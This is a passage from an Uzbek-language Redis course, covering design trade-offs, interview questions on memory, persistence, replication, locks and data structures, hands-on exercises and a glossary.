AOF alwaysDeyarli yo'qotishsizThroughput bir necha barobar tushadi
Faqat RDBEng kam ustama xarajat, tez tiklashSuratlar orasidagi hamma narsa yo'qoladi
Replikadan o'qishO'qish throughput'i oshadiEskirgan ma'lumot; o'zi yozganini o'qiy olmaslik
min-replicas-to-writeSplit-brain'da yo'qotish kamayadiReplika tushsa yozish to'xtaydi (mavjudlikdan voz kechish)
KlasterChiziqli masshtablashCROSSSLOT cheklovi, operatsion murakkablik
Hash teglarBir necha kalitli amallar ishlaydiYuk notekis taqsimlanadi
Katta listpack chegaralariXotira 5 barobar kamO(N) qidiruv sezilarli bo'ladi
HyperLogLog12 KB da milliard element0.81% xato, elementlarni qaytarib bo'lmaydi
Lua skriptlarMurakkab atomik amallarServer bloklanadi; debug qiyin; ko'chirish murakkab

Butun dars o‘nta gapda

  1. Redis — xotiradagi ma’lumot strukturalari serveri, “tez kesh” emas: uning qiymati server tomonidagi atomik ro‘yxat, ZSET, bitmap, HLL va oqimlarda (kirish, 1.2).
  2. Vaqtning 99% i tarmoqqa ketadi: Redis’ni tezlashtirish — chaqiruvlar sonini kamaytirish (pipelining, MGET, to‘g‘ri modellashtirish) (1.1, 2.7).
  3. Bitta ip — atomiklik va oddiylik, narxi esa: bitta O(N) komanda butun serverni to‘xtatadi (2.1, 2.6, 6.2).
  4. Kichik qiymatlarda “qadoq” ma’lumotdan katta: hash ichida guruhlash va listpack kodlashi xotirani 3–5 barobar tejaydi (2.4, 2.5).
  5. TTL va siqib chiqarish — ikki xil mexanizm: passiv + namunali faol ekspirasiya, va maxmemory bo‘yicha namunali LRU/LFU (3, 7.3).
  6. “+OK” — “saqlandi” emas: AOF everysec ~1 soniya, asinxron replikatsiya esa failover’da yozuvlarni yo‘qotadi (4, 6.3, 8.2).
  7. fork xotirani ikki barobargacha oshiradi: maxmemory RAM ning 50–60% idan oshmasin (4.2, 13).
  8. Har stsenariyga o‘z strukturasi: reyting — skiplist (span bilan O(log N) rank), noyob sanash — HLL (12 KB), faollik — bitmap, navbat — Streams (5, 7).
  9. Redis lock — samaradorlik uchun, to‘g‘rilik uchun emas: to‘g‘rilik resursdagi fencing token yoki tranzaksiyada (5, 7-stsenariy).
  10. Kesh, sessiya va navbatni ajrating: ularning siqib chiqarish, doimiylik va o‘sish talablari qarama-qarshi (5-bo‘lim Check, 9).

17. Intervyu savollari

17.1 Asoslar

▸Redis nima uchun tez? 'Xotirada' degan javob yetarlimi?

Yetarli emas — xotirada ishlaydigan tizimlar ko‘p. Redis‘ning tezligi to‘rtta omildan:

  1. Xotirada — disk kechikishi yo‘q (100 ns vs 100 µs)
  2. Bitta ip, event loop — qulf, kontekst almashinuvi, koordinatsiya yo‘q. Bitta komanda ~1 mikrosoniya
  3. Sodda protokol (RESP) — parse qilish arzon, javob ixcham
  4. Optimallashtirilgan ma’lumot strukturalari — kichik obyektlar uchun kesh-do‘st ixcham kodlashlar (listpack, intset)

Muhim nuance: amalda vaqtning 99% i tarmoqqa ketadi (RTT ~200 µs, komanda ~1 µs). Shuning uchun Redis bilan ishlashda eng katta optimizatsiya — pipelining va MGET, ya’ni chaqiruvlar sonini kamaytirish.

▸Bitta ip zamonaviy 32 yadroli serverda isrof emasmi?

Yo‘q, chunki bitta yadro sekundiga million komanda bajaradi va bundan oldin tarmoq to‘yinadi. Bitta ip qulflar, race condition va deadlock‘larni butunlay yo‘q qiladi va har bir komandani atomik qiladi — bu Redis‘ning ko‘p stsenariylarini imkonli qiladigan xususiyat.

Redis 6 dan I/O threads bor: socketdan o‘qish va yozish bir necha yadroga taqsimlanadi, komandalarni bajarish esa hali ham bitta ipda — atomiklik saqlanadi.

Yadrolarni to‘liq ishlatish kerak bo‘lsa, bitta serverda bir necha Redis jarayoni ishga tushiriladi (har biri o‘z porti va ma’lumot bo‘lagi bilan) — bu Redis Cluster‘ning bitta mashinadagi ko‘rinishi.

▸Nega KEYS ishlab chiqarishda taqiqlangan va o'rniga nima ishlatiladi?

KEYS butun kalit maydonini skanerlaydi — O(N). 10 million kalitli bazada bu bir necha soniya oladi va bitta ipli server shu vaqt davomida boshqa hech kimga javob bermaydi. Ya’ni bitta buyruq butun tizimni to‘xtatadi.

O‘rniga SCAN ishlatiladi: kursorli, har chaqiruvda kichik bo‘lak qaytaradi, server bloklanmaydi. Kafolati zaifroq (skan davomida qo‘shilganlar tushishi ham, tushmasligi ham mumkin), lekin butun vaqt mavjud bo‘lgan kalit albatta qaytariladi.

Umumiy tamoyil: bitta ipli serverda har bir O(N) komanda — bu butun tizim uchun O(N) to‘xtash. Shu sabab katta obyektlarda HGETALL, SMEMBERS, LRANGE 0 -1 ham xavfli.

▸TTL berilgan kalit muddati tugagach darhol o'chiriladimi?

Yo‘q. Ikki mexanizm birga ishlaydi: passiv — kalitga murojaat qilinganda tekshiriladi va o‘sha payt o‘chiriladi; faol — serverCron har 100 ms da TTL li kalitlardan 20 tasini tasodifiy tanlab tekshiradi va agar 25% dan ko‘pi muddati o‘tgan bo‘lsa, siklni takrorlaydi.

Amaliy oqibat: xotirada muddati o‘tgan, lekin hali o‘chirilmagan kalitlar bo‘lishi mumkin (nazariy jihatdan ~25% gacha). Va agar million kalitning muddati bir vaqtda tugasa, faol sikl ularni tozalayotganda kechikish oshadi — shuning uchun TTL ga jitter berish kerak.

17.2 Xotira

▸10 million kalit qancha xotira yeydi? Hisobingizni ko'rsating.

Bitta oddiy kalit-qiymat (kalit ~13 bayt, qiymat 50 bayt):

dictEntry                   24 bayt
kalit SDS (yaxlitlash bilan) ~32 bayt
qiymat robj                 16 bayt
qiymat SDS                  ~72 bayt
ekspirasiya yozuvi (TTL bo'lsa) ~24 bayt
------------------------------------
Jami                       ~168 bayt

10 million × 168 = 1.68 GB, buning 63% i ustama xarajat.

Xulosa amaliy: kichik qiymatlarni alohida kalitlarda saqlash isrof. Ularni hash ichida guruhlash (listpack kodlashi bilan) 3–5 barobar tejaydi. Aniq raqamni MEMORY USAGE komandasi bilan o‘lchash mumkin.

▸Nega 128 ta maydonli hash 129 ta maydonlidan 5 barobar arzon?

Chegaraga qadar Redis listpack kodlashini ishlatadi: bu ko‘rsatkichlarsiz, ixcham ketma-ket massiv. Chegaradan oshgach u hashtable ga o‘tadi: dict, har maydon uchun alohida dictEntry va SDS satrlar.

hash-max-listpack-entries 128
hash-max-listpack-value 64

Har ikkala shart ham bajarilishi kerak: 100 ta maydon bo‘lsa-yu, bittasi 200 baytli bo‘lsa, hash baribir hashtable‘ga o‘tadi. Va bu qaytmas: elementlar o‘chirilib, soni yana 128 dan kamaysa ham, kodlash listpack‘ga qaytmaydi.

Amaliy oqibat: xotira “sababsiz” sakraganda birinchi navbatda OBJECT ENCODING bilan tekshirish kerak.

▸mem_fragmentation_ratio 0.7 ko'rsatyapti. Bu yaxshimi?

Yo‘q, bu eng yomon signallardan biri. Nisbat used_memory_rss / used_memory — ya’ni OT ko‘rgan xotira Redis hisoblaganidan kam. Bu ma’lumotning bir qismi swap‘ga tushganini anglatadi.

Oqibati: swap‘dagi sahifaga murojaat 100 ns o‘rniga 100 µs oladi — ming barobar sekin. Va bu bitta ipli serverda butun navbatni to‘xtatadi.

Chora: maxmemory ni pasaytirish, serverga RAM qo‘shish, va Redis serverlarida swap‘ni butunlay o‘chirish (yiqilish sekin o‘lishdan yaxshiroq). Nisbat 1.5 dan yuqori bo‘lsa — bu boshqa muammo: fragmentatsiya, activedefrag yes yordam beradi.

17.3 Doimiylik va ishonchlilik

▸RDB va AOF farqi nima? Qaysi birini tanlaysiz?

RDB — belgilangan vaqtdagi butun ma’lumotning ixcham binar surati. Fayl kichik, tiklash tez, lekin suratlar orasidagi yozuvlar yo‘qoladi.

AOF — har bir yozish komandasining jurnali. appendfsync everysec bilan yo‘qotish oynasi ≤1 soniya. Fayl kattaroq, tiklash sekinroq, va davriy rewrite kerak.

Amalda ikkalasi birga: AOF yo‘qotishni minimallashtiradi, RDB tez tiklash va zaxira nusxa uchun ishlatiladi (Redis ishga tushganda AOF mavjud bo‘lsa undan tiklaydi).

Muhim: ikkalasi ham fork qiladi va xotira cho‘qqisini yaratadi (4.2-bo‘lim). Sof kesh uchun doimiylikni butunlay o‘chirish ham to‘g‘ri qaror — tiklash manba bazadan bo‘ladi.

▸Saqlash paytida xotira nega ikki barobargacha oshadi?

fork() bola jarayon yaratadi va xotira copy-on-write rejimida baham ko‘riladi. Ota jarayon (Redis) yozishda davom etsa, har bir tegilgan 4 KB sahifa nusxalanadi.

Og‘ir yozish yukida saqlash 60 soniya davom etsa va sekundiga 50 000 yozuv bo‘lsa, eng yomon holatda 12 GB gacha qo‘shimcha nusxalanishi mumkin. Odatiy holatda ustama 10–30%.

Shuning uchun: maxmemory jismoniy RAM ning 50–60% idan oshmasligi kerak, vm.overcommit_memory=1 qo‘yilishi va Transparent Huge Pages o‘chirilishi shart (THP bilan nusxalash 4 KB emas, 2 MB granularlikda bo‘ladi — 512 barobar qimmatroq).

▸Failover'da qancha ma'lumot yo'qoladi?

Replikatsiya asinxron, ya’ni master yozuvni qabul qilib mijozga darhol javob beradi va replikaga keyin yuboradi. Failover‘da replikaga yetib ulgurmagan hamma narsa yo‘qoladi.

Odatiy sozlamada: 100 000 ops/s × 5 ms kechikish = ~500 yozuv. Tarmoq muammosida kechikish 0.5 s ga chiqsa — 50 000 yozuv.

Kamaytirish: min-replicas-to-write 1 va min-replicas-max-lag 10 (replikasiz qolgan master yozishni o‘zi rad etadi), muhim yozuvlar uchun WAIT 1 100.

Yo‘qotishni nolga tushirish mumkin emas — bu asinxron replikatsiyaning tabiati. Agar nol yo‘qotish talab qilinsa, Redis noto‘g‘ri tanlov.

▸Split-brain nima va Redis'da unga qanday qarshi turasiz?

Tarmoq bo‘linishida eski master hali ishlab turadi, Sentinel esa yangisini ko‘taradi — ikkita master paydo bo‘ladi. Mijozlarning bir qismi eskisiga yozishda davom etadi, va tarmoq tiklanganda eski master replikaga aylanib, o‘z ma’lumotini tashlaydi.

Himoya: min-replicas-to-write 1 — ozchilik tomonda qolgan master replikasiz qolganini sezib, yozishni o‘zi to‘xtatadi. Bu CAP bo‘yicha ongli tanlov: bo‘linishda mavjudlikdan voz kechib, izchillikni saqlash.

Sentinel uchun toq sonli va tarqoq joylashgan tugunlar kerak (3 ta, quorum 2). Ikkita Sentinel bilan kvorum ma’nosini yo‘qotadi.

17.4 Amaliy stsenariylar

▸Taqsimlangan lock yasang. Qanday kafolat bera olasiz?

Asosiy naqsh: SET lock:X <unikal-token> NX PX 30000, ochish esa Lua orqali (token tekshirilib, keyin DEL) — aks holda boshqasining qulfini ochib yuborish mumkin.

Berilmaydigan kafolat: to‘liq o‘zaro istisno. Jarayon qulfni olgach GC pauzasi yoki tarmoq uzilishiga tushsa, qulf muddati tugaydi, boshqasi uni oladi, birinchisi esa “uyg‘onib” o‘zini hali egadek his qiladi. Hech qanday taymer buni yechmaydi.

Yagona to‘g‘ri yechim: fencing token — qulf bilan birga o‘suvchi raqam beriladi va himoyalanayotgan resurs kichikroq raqamli yozuvni rad etadi. Ya’ni xavfsizlik Redis‘da emas, resursning o‘zida ta’minlanadi.

Redlock haqida: u ham tarmoq va soat haqida kuchli farazlarga tayanadi. Amaliy maslahat: Redis lock — samaradorlik uchun (ish ikki marta bajarilmasin), to‘g‘rilik uchun emas (pul ikki marta yechilmasin).

▸Sekundiga 1 million marta bosiladigan reyting jadvali qanday quriladi?

ZINCRBY atomik va O(log N), ya’ni Redis‘ning o‘zi buni uddalaydi — muammo tarmoq va bitta kalit.

Yondashuv:

  1. Yozishlarni to‘plash — ilova serverida 1 soniyalik oynada ballarni yig‘ib, keyin bitta ZINCRBY yuborish. 1M ops/s → 50 ta server × 1 ops/s
  2. Ikki qatlamli — har bir shardda mahalliy ZSET, davriy ravishda ZUNIONSTORE bilan global jadvalga birlashtirish
  3. Sahifalashni cheklash — ZREVRANGE 0 99 arzon, lekin ZREVRANGE 1000000 1000099 O(log N + M) va katta ofsetlarda sekin. Chuqur sahifalash o‘rniga “mening atrofimdagi 10 kishi” (ZREVRANK + kichik diapazon) beriladi

Va ballga vaqtni qo‘shish (5-bo‘lim, 4-stsenariy) — bir xil balldagilar tartibi adolatli bo‘lishi uchun.

▸Redis'ni navbat sifatida ishlatsa bo'ladimi?

Ha, lekin qaysi struktura muhim.

LPUSH/BRPOP eng oddiy, lekin xabar BRPOP bilan olingach ro‘yxatdan chiqadi — ishchi shu payt tushsa, vazifa butunlay yo‘qoladi. BLMOVE bilan “ishlanmoqda” ro‘yxatiga ko‘chirish bu muammoni qisman yechadi.

Streams to‘g‘ri javob: iste’molchi guruhlari, XACK bilan tasdiqlash, tashlab ketilgan xabarlarni XAUTOCLAIM bilan qaytarish, tarix. Faqat MAXLEN bilan cheklashni unutmaslik kerak — aks holda xotira cheksiz o‘sadi.

Qachon Redis navbat sifatida yaramaydi: bir necha kunlik tarix kerak bo‘lsa, xabarlar hajmi RAM ga sig‘masa, murakkab marshrutlash yoki qayta ishlash kafolatlari kerak bo‘lsa. Bunday holatlarda Kafka yoki maxsus navbat tizimi to‘g‘riroq.

▸Kesh urish darajasi 95% dan 70% ga tushdi. Diagnostika tartibingiz?
  1. evicted_keys — o‘syaptimi? Demak xotira to‘lgan va kalitlar siqib chiqarilyapti. Sabab: ma’lumot o‘sgan, yangi funksiya ko‘p kalit yozyapti, yoki TTL qo‘yilmagan
  2. expired_keys — keskin oshgan bo‘lsa, TTL siyosati o‘zgargan bo‘lishi mumkin
  3. keyspace_misses manbasi — yangi turdagi kalitlar so‘ralyaptimi (yangi funksiya) yoki mavjud bo‘lmagan kalitlar (skanerlash, noto‘g‘ri kalit nomi)
  4. Deploy tarixi — kalit nomlash sxemasi o‘zgardimi? Bu keshni bir lahzada butunlay bekor qiladi
  5. Instansiya qayta ishga tushganmi — sovuq kesh

Eng ko‘p uchraydigani: kalit formatining o‘zgarishi (masalan user:42 → user:v2:42) deploy bilan birga keshni noldan boshlaydi va bazaga to‘satdan to‘liq yuk tushadi.

▸Ilovangiz Redis'siz ishlaydimi? Buni qanday sinaysiz?

Bu — eng muhim amaliy savol. Ko‘p jamoalar Redis‘ni “kesh” deb hisoblaydi, lekin amalda u kritik yo‘lga o‘tib ketgan bo‘ladi: sessiyalar, rate limiting, feature flag‘lar, navbatlar, taqsimlangan lock‘lar.

Sinov: sinov muhitida Redis‘ni o‘chiring va ilovani ishlatib ko‘ring. Kutilgan natija — sekinlashish, lekin ishlash. Agar ilova butunlay to‘xtasa, Redis siz uchun kesh emas.

To‘g‘ri tayyorgarlik: har bir Redis chaqiruvi uchun qisqa timeout (50–200 ms) va aniq fallback siyosati — kesh uchun bazaga borish, rate limiter uchun ruxsat yoki rad etish (biznes qaroriga qarab), sessiya uchun qayta kirishga yo‘naltirish.

▸Redis Cluster'ga qachon o'tish kerak va nima yo'qotasiz?

O‘tish signallari: ma’lumot 100 GB dan oshsa (fork va tiklash vaqti qabul qilinmas bo‘ladi), yozish throughput 80 000 ops/s ga yaqinlashsa (bitta yadro chegarasi), latest_fork_usec 500 ms dan oshsa.

Yo‘qotasiz:

  • Bir necha kalitli komandalar (MGET, SUNION, MULTI, Lua) faqat bitta slot ichida ishlaydi — hash teglar kerak bo‘ladi
  • SELECT (bir necha ma’lumotlar bazasi) umuman yo‘q
  • Operatsion murakkablik: slot migratsiyasi, MOVED/ASK boshqaruvi, mijoz kutubxonasining klaster qo‘llab-quvvatlashi

Ko‘p hollarda arzonroq muqobil — funksional bo‘lish: kesh, sessiya, navbat uchun alohida instansiyalar. Bu klasterning murakkabligisiz masshtabning katta qismini beradi.

▸Redis'ni asosiy ma'lumotlar bazasi sifatida ishlatish mumkinmi?

Mumkin, lekin shartlar qat’iy: ma’lumot RAM ga sig‘adi va o‘sishi bashoratli; AOF everysec yoqilgan va 1 soniyagacha yo‘qotish qabul qilinadi; replika va avtomatik failover bor; murakkab so‘rov (JOIN, agregatsiya, ad-hoc filtr) kerak emas; zaxira nusxa jarayoni sinovdan o‘tgan.

Mos: real-time o‘yin holati, sessiyalar, feature flag‘lar, IoT qurilma holatlari.

Mos emas: moliyaviy yozuvlar, tarixiy hisobotlar, “yo‘qolsa halokat” ma’lumoti. RAM narxi diskdan ~100 barobar qimmat ekanini ham hisobga olish kerak — 500 GB ma’lumot uchun Redis oyiga o‘n minglab dollarga tushadi.

▸Pub/Sub va Streams orasida qanday tanlaysiz?

Savol bitta: xabar yo‘qolsa nima bo‘ladi?

Pub/Sub — fire-and-forget. Xabar shu lahzada ulangan obunachilarga yuboriladi va saqlanmaydi. Obunachi bir soniyaga uzilsa, o‘sha davrdagi hamma narsa yo‘qoladi. Kechikish eng past, xotira sarfi deyarli nol.

Streams — jurnal: xabarlar saqlanadi, iste’molchi guruhlari bor, XACK bilan tasdiqlash va XAUTOCLAIM bilan tashlab ketilganlarni qaytarish mumkin. Kechikish deyarli bir xil, lekin xotira sarflanadi va MAXLEN bilan cheklash shart.

Amaliy qoida: signal uchun Pub/Sub (“ma’lumot yangilandi, qayta yukla”), hodisa uchun Streams (“to‘lov o‘tdi”, “buyurtma yaratildi”). Signal yo‘qolsa, keyingi signal uni tuzatadi; hodisa yo‘qolsa — biznes yo‘qotadi.

▸Lua skriptingiz serverni bloklab qo'ydi. Nima qilasiz?

Redis BUSY holatiga o‘tadi va boshqa komandalarga xato qaytaradi. Ikki chiqish yo‘li:

SCRIPT KILL     -- skript hech narsa YOZMAGAN bo'lsa ishlaydi
SHUTDOWN NOSAVE -- yozgan bo'lsa, yagona yo'l (ma'lumot yo'qoladi)

Ikkinchisi shuning uchun keskin: skript yozishni boshlagan bo‘lsa, uni to‘xtatish ma’lumotni yarim holatda qoldiradi va bu atomiklik kafolatini buzadi. Redis buni oldini olish uchun butun jarayonni to‘xtatishni tanlaydi.

Oldini olish: skriptlarni qisqa va bashoratli yozish (sikllar chegarali bo‘lsin), busy-reply-threshold ni sozlash, va skriptlarni ishlab chiqarishga chiqarishdan oldin eng katta realistik ma’lumotda sinash. Ko‘p elementli ma’lumot ustidagi sikl — Lua‘dagi eng ko‘p uchraydigan xato.

▸Replikadan o'qish har doim yaxshi g'oyami?

Yo‘q. U o‘qish throughput‘ini oshiradi, lekin uchta muammo qo‘shadi:

  1. Eskirgan ma’lumot — replikatsiya asinxron, ya’ni replika bir necha millisekund (yuk paytida esa sekundlar) orqada bo‘lishi mumkin
  2. “O‘zi yozganini o‘qiy olmaslik” — foydalanuvchi ma’lumotni yangiladi, darhol o‘qidi va eskisini ko‘rdi. Bu 2-darsdagi bir xil muammo
  3. Failover paytidagi chalkashlik — replika master bo‘lganda, eski master hali mijozlar uchun “master” bo‘lib qolishi mumkin

Amaliy yechim: yozgandan keyin o‘sha foydalanuvchi uchun master‘dan o‘qish (qisqa vaqt davomida), yoki umuman replikadan faqat eskirishga chidamli ma’lumotni o‘qish (reyting jadvali, statistika, tavsiyalar).

▸Bitmap va HyperLogLog orasida qanday tanlaysiz?

Ikkalasi ham juda ixcham, lekin butunlay boshqa savolga javob beradi.

Bitmap — “bu aniq odam bugun faol bo‘ldimi?” Aniq javob, GETBIT bilan bitta foydalanuvchini tekshirish mumkin, BITOP bilan kunlar kesishmasini olish mumkin (retention hisobi). Shart: ID lar zich butun sonlar bo‘lishi kerak. 100M foydalanuvchi = 12.5 MB.

HyperLogLog — “bugun nechta noyob odam bo‘ldi?” Faqat son, 0.81% xato bilan. Elementlarni qaytarib bo‘lmaydi va “falonchi bormi?” degan savolga javob bermaydi. Hajmi doim 12 KB. Shart yo‘q: ID lar istalgan satr bo‘lishi mumkin.

Ya’ni: kim kerak bo‘lsa bitmap, faqat nechta kerak bo‘lsa HLL. Ikkalasi birga ham ishlatiladi: kunlik aniq holat bitmap‘da, uzoq muddatli noyob sonlar HLL‘da.

▸Yangi loyihada Redis'ni monitoring qilyapsiz. Birinchi beshta metrika qaysi?
  1. Kesh urish darajasi (keyspace_hits / (hits + misses)) — u bazaga yukni belgilaydi va chiziqli emas: 95% dan 90% ga tushish bazaga yukni ikki barobar oshiradi
  2. used_memory / maxmemory nisbati — 85% dan oshsa, siqib chiqarish boshlanadi
  3. evicted_keys — kesh bo‘lmagan ma’lumotda har qanday o‘sish jiddiy signal
  4. p99 kechikish (--latency yoki mijoz tomonidan) — bloklovchi komandalar va fork aynan shu yerda ko‘rinadi
  5. mem_fragmentation_ratio — 1.0 dan past bo‘lsa swap (halokat), 1.5 dan yuqori bo‘lsa fragmentatsiya

Keyingi navbatda: latest_fork_usec, rejected_connections, blocked_clients, replikatsiya kechikishi va SLOWLOG yozuvlari soni.

▸ZSET ichida nega skiplist? ZRANK qanday O(log N) bo'ladi?

ZSET ikki strukturadan iborat: lug‘at (a’zo → ball, ZSCORE uchun O(1)) va skiplist (ball bo‘yicha tartib). Skiplist — ko‘p qavatli bog‘langan ro‘yxat: har element tasodifiy darajaga ega (P = 0.25), yuqori qavatlarda elementlar siyrak, qidiruv tepadan pastga tushadi — o‘rtacha O(log N).

Rank uchun Redis har ko‘rsatkichga span qo‘shgan: u 0-qavatda nechta elementni sakrab o‘tishini saqlaydi. Qidiruv yo‘lidagi span’lar yig‘indisi — elementning o‘rni. Xuddi shu mantiq bilan ZRANGE 1000 1009 avval 1000-o‘ringa span bo‘yicha sakraydi, keyin 10 qadam yuradi.

Nega daraxt emas: diapazon so‘rovlari tabiiy (0-qavat — tayyor tartiblangan ro‘yxat), kod sodda (aylantirish yo‘q), va P bilan xotira sozlanadi (o‘rtacha 1.33 ko‘rsatkich).

▸HyperLogLog qanday ishlaydi va qachon xato beradi?

Har element xeshlanadi. Quyi 14 bit — 16 384 registrdan birini tanlaydi, qolgan bitlardagi oxirgi nollar soni + 1 — “rank”. Registr eng katta rankni eslaydi. Fikr: ketma-ket k ta nol taxminan har 2^k elementda bir uchraydi, demak eng katta rank to‘plam hajmini “eslab qoladi”. 16 384 registr bo‘yicha garmonik o‘rtacha tasodifiy chetlanishlarni tekislaydi. Hajm — 12 KB, standart xato — 0.81%.

Qachon yomon ishlaydi:

  • Elementlarni qaytarib bermaydi va “falonchi bormi?” degan savolga javob bermaydi
  • Kesishma (A ∩ B) uchun mos emas: birlashma — PFMERGE bilan aniq, kesishma esa inkluziya-ekskluziya bilan va xatosi katta
  • Klassik formulada o‘tish oralig‘ida (taxminan 2.5·M atrofi) xato sezilarli oshadi — Redis 5.0 dan beri Ertl’ning baholovchisi buni yo‘qotadi
  • Kimdir xeshni bilsa, ataylab tanlangan elementlar bilan hisobni sun’iy oshirishi mumkin — ochiq hisoblagichlarda buni hisobga olish kerak
▸Redis 2024 yilda litsenziyasini o'zgartirdi. Bu sizga qanday ta'sir qiladi?

2024-yil martida Redis ochiq (BSD) litsenziyadan cheklovli litsenziyalarga (RSALv2/SSPL) o‘tdi — asosan bulut provayderlariga Redis‘ni xizmat sifatida sotishni cheklash uchun. Javoban Linux Foundation ostida Valkey forki paydo bo‘ldi va ko‘p provayderlar hamda distributivlar o‘shanga o‘tdi. 2025-yilda Redis 8 da AGPLv3 — ochiq litsenziya varianti qaytdi.

Amaliy jihatdan: API, komandalar va protokol bir xil — bu darsdagi hamma narsa ikkalasiga ham tegishli. Farq huquqiy va yo‘l xaritasida.

Muhandis uchun xulosa: agar Redis‘ni o‘zingiz joylashtirsangiz va uni xizmat sifatida sotmasangiz, amaliy o‘zgarish deyarli yo‘q. Yangi loyihada esa mijoz kutubxonasi va boshqariladigan xizmat tanlashda qaysi implementatsiya ishlatilayotganini bilib qo‘yish foydali.

18. Amaliyot

To‘rt daraja. Ikkinchi daraja uchun kod va avtomatik tekshiruvlar docs/amaliyot/redis/ da: skiplist.py, hll.py, keyspace.py — TODO; model.py — tayyor skiplist tuguni, barqaror xesh va Zipf trafigi; check.py — 15 ta tekshiruv.

Amaliyot

1-daraja: xotira detektivi

Mahalliy Redis‘da o‘lchov o‘tkazing:

  1. 100 000 ta alohida kalit yozing (user:1 … user:100000), har birida 50 baytli qiymat. INFO memory bilan used_memory ni yozib oling
  2. FLUSHALL qiling va xuddi shu ma’lumotni 1000 ta hash ichida saqlang (har birida 100 maydon). Xotirani yana o‘lchang
  3. OBJECT ENCODING bilan hash‘larning kodlashini tekshiring
  4. hash-max-listpack-entries ni 50 ga tushiring va 2-qadamni takrorlang

Tekshiruv mezoni: uchta o‘lchovni jadvalga chiqaring va nisbatlarni hisoblang. 2.4 va 2.5-bo‘limlardagi hisoblarga mos keldimi? Farq bo‘lsa, sababini tushuntiring.

Amaliyot

2-daraja: skiplist, HyperLogLog va kalit maydoni (tayyor tekshiruvlar bilan)

Kod docs/amaliyot/redis/ da. Uchta faylni to‘ldirasiz, check.py esa ularni 15 ta tekshiruvda sinaydi (~9 soniya, faqat Python standart kutubxonasi):

  1. skiplist.py — ZSET ichidagi skiplist: insert, delete, rank, by_rank, range_by_score; span’lar bilan, Redis’dagi kabi. Ustidagi ZSet qobig‘i tayyor
  2. hll.py — HyperLogLog: index_rank, add, count (garmonik o‘rtacha va linear counting), merge
  3. keyspace.py — kalit maydoni: O(1) tasodifiy tanlash uchun massivlar, passiv va faol ekspirasiya (20 lik namuna, 25% qoidasi, CPU budjeti), noeviction / allkeys-* / volatile-* siyosatlari va namunali LRU

Tekshiruv mezoni: python check.py oxirida Jami: 15/15 OK. Keyin 7.3 dagi jadvalni o‘zingiz takrorlang: samples ni 1, 3, 5, 10 qilib, urish darajasini haqiqiy LRU bilan solishtiring.

▸Chuqurroq: check.py qanday tekshiradi: natija emas, tuzilma

Skiplistni “natijasi to‘g‘ri” deb tekshirish yetarli emas: tartiblangan Python ro‘yxati ham to‘g‘ri natija beradi. Shuning uchun check.py tuzilmaning ichiga qaraydi:

  • Sodda model bilan solishtirish: 40 ta tasodifiy ketma-ketlikda (har birida 300 amal: qo‘shish, o‘chirish, rank, diapazonlar, manfiy indekslar) natijalar aynan bir xil bo‘lishi kerak.
  • Invariantlar: har 25 amalda har qavatdagi zanjir tartiblanganmi, har ko‘rsatkichning span’i 0-qavatdagi haqiqiy masofaga tengmi, backward va tail to‘g‘rimi, level eng baland tugunga tengmi.
  • Ehtimollik: 20 000 tugunda ≥2 qavatlilar ~25%, ≥3 qavatlilar ~6.25%.
  • Murakkablik: rank paytida forward ko‘rsatkichlar necha marta o‘qilganini sanaydi — chiziqli yurish darhol ushlanadi.

HLL uchun registrlar bitta-bitta solishtiriladi. Kalit maydoni uchun esa statistik testlar bor: eskirgan kalitlar ulushi, tinch sikldagi tekshiruvlar soni va urish darajasi haqiqiy LRU bilan. Oxirida bir o‘yin kuni uchala tuzilmani birga sinaydi: 180 000 ta ball yangilanishi (reyting aniq javob bilan solishtiriladi), kunlik va haftalik noyob o‘yinchilar (HLL ≤ 2%) va sessiyalar (volatile-lru, chegara 20 000).

Amaliyot

3-daraja: haqiqiy Redis — rate limiter, lock va nosozliklar

Mahalliy Redis’da:

  1. Uch xil tezlik cheklovi: sobit oyna (INCR + EXPIRE — avval ikki komanda, keyin Lua), siljituvchi oyna (ZSET), token bucket (Lua). 1000 ta parallel so‘rovda limit 100 bo‘lsa, haqiqatan nechta o‘tdi, qancha xotira va vaqt ketdi
  2. Taqsimlangan lock (SET NX PX + Lua unlock) va uni buzing: qulfni olgach jarayonni SIGSTOP bilan to‘xtating, TTL tugashini kuting, ikkinchi jarayonga qulfni oldiring, birinchisini davom ettiring. Keyin fencing token qo‘shing
  3. 2 GB ma’lumot bilan maxmemory va siyosatlarni sinang; og‘ir yozish ostida BGSAVE qilib, used_memory_rss va latest_fork_usec ni o‘lchang; 10 mln elementli ZSET’ni DEL va UNLINK bilan o‘chirib, --latency ni solishtiring

Tekshiruv mezoni: ikki jarayon bir vaqtda kritik bo‘limda bo‘lganini logda ko‘rsating va fencing token ikkinchi yozuvni rad etganini isbotlang. 4.2 dagi fork cho‘qqisini va DEL / UNLINK farqini millisekundlarda grafikda ko‘rsating.

Amaliyot

4-daraja: sig'im va narx modeli

Skript yoki elektron jadval yozing. Kirish: kalitlar soni, o‘rtacha kalit va qiymat uzunligi, ma’lumot turi (string / kichik hash / ZSET), TTL bor-yo‘qligi, o‘qish va yozish tezligi, kesh urish darajasi, RAM va SSD narxlari.

Chiqish: kutilayotgan used_memory, fragmentatsiya va fork zaxirasi bilan kerakli tugun hajmi, oylik narx, va Postgres‘da saqlash bilan taqqoslash.

Tekshiruv mezoni: modelni haqiqiy Redis‘da tekshiring — 100 000 kalit yozib, MEMORY USAGE bilan o‘lchangan qiymatni model bashorati bilan solishtiring. Xato 15% dan kam bo‘lsin. So‘ng sezgirlik tahlili: qaysi parametr narxga eng ko‘p ta’sir qiladi — kalitlar soni, qiymat hajmi yoki ma’lumot turi?

19. Lug‘at

AtamaMa’nosi
Event loopBitta ipda hodisalarni navbat bilan qayta ishlash modeli
RESPRedis serialization protocol — matnli mijoz-server protokoli
SDSSimple Dynamic String — Redis‘ning satr strukturasi
robjRedis obyekti: tur, kodlash va ma’lumotga ko‘rsatkich
Kodlash (encoding)Bir turning ichki ko‘rinishi: listpack, intset, hashtable, skiplist
listpackKichik to‘plamlar uchun ixcham ketma-ket massiv
intsetFaqat butun sonlardan iborat to‘plam uchun ixcham ko‘rinish
skiplistZSet uchun ehtimolli tartiblangan struktura, O(log N)
quicklistListpack bloklaridan tuzilgan ro‘yxat
PipeliningBir necha komandani bitta paketda yuborish
MULTI/EXECKomandalarni uzilmasdan bajarish (rollback yo‘q)
WATCHOptimistik qulf: kalit o‘zgarsa tranzaksiya bekor bo‘ladi
Lua skriptServer tomonida atomik bajariladigan kod
Passiv ekspirasiyaMurojaat paytida muddatni tekshirish
Faol ekspirasiyaserverCron da tasodifiy namuna bilan tozalash
